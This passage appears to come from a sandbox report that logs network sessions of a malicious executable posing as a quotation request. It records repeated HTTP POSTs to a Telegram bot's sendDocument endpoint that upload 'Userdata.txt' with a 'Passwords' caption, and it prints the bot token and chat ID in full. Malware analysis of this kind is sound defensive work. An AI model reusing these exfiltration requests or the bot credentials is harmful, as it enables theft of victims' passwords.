20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd143ddb19b669Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:23:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:23:17 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:23:17 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 37 39 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":984,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235797,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49883	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:23:21 UTC	275	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd147412cdacdf Host: api.telegram.org Content-Length: 1090
2024-12-03 14:23:21 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 34 37 34 31 32 63 64 61 63 64 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd147412cdacdfContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:23:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:23:21 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:23:21 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 38 30 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":985,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235801,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49894	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:23:24 UTC	275	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd14a1d614b40e Host: api.telegram.org Content-Length: 1090
2024-12-03 14:23:24 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 34 61 31 64 36 31 34 62 34 30 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd14a1d614b40eContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:23:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:23:25 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:23:25 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 38 30 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":986,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235805,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49903	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:23:28 UTC	275	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd14cdf870ea02 Host: api.telegram.org Content-Length: 1090
2024-12-03 14:23:28 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 34 63 64 66 38 37 30 65 61 30 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd14cdf870ea02Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:23:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:23:29 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:23:29 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 38 30 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":987,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235809,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49913	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:23:32 UTC	299	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd14f729073a19 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-03 14:23:32 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 34 66 37 32 39 30 37 33 61 31 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd14f729073a19Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:23:32 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:23:32 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:23:32 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 38 31 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":988,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235812,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49925	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:23:36 UTC	275	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1529483e469f Host: api.telegram.org Content-Length: 1090
2024-12-03 14:23:36 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 35 32 39 34 38 33 65 34 36 39 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1529483e469fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:23:37 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:23:37 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:23:37 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 38 31 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":989,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235817,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49935	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:23:40 UTC	275	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd15571ad6327b Host: api.telegram.org Content-Length: 1090
2024-12-03 14:23:40 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 35 35 37 31 61 64 36 33 32 37 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd15571ad6327bContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:23:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:23:40 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:23:41 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 38 32 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":990,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235820,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49943	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:23:44 UTC	275	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1584a2f82aa8 Host: api.telegram.org Content-Length: 1090
2024-12-03 14:23:44 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 35 38 34 61 32 66 38 32 61 61 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1584a2f82aa8Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:23:44 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:23:44 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:23:44 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 39 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 38 32 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":991,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235824,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49951	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
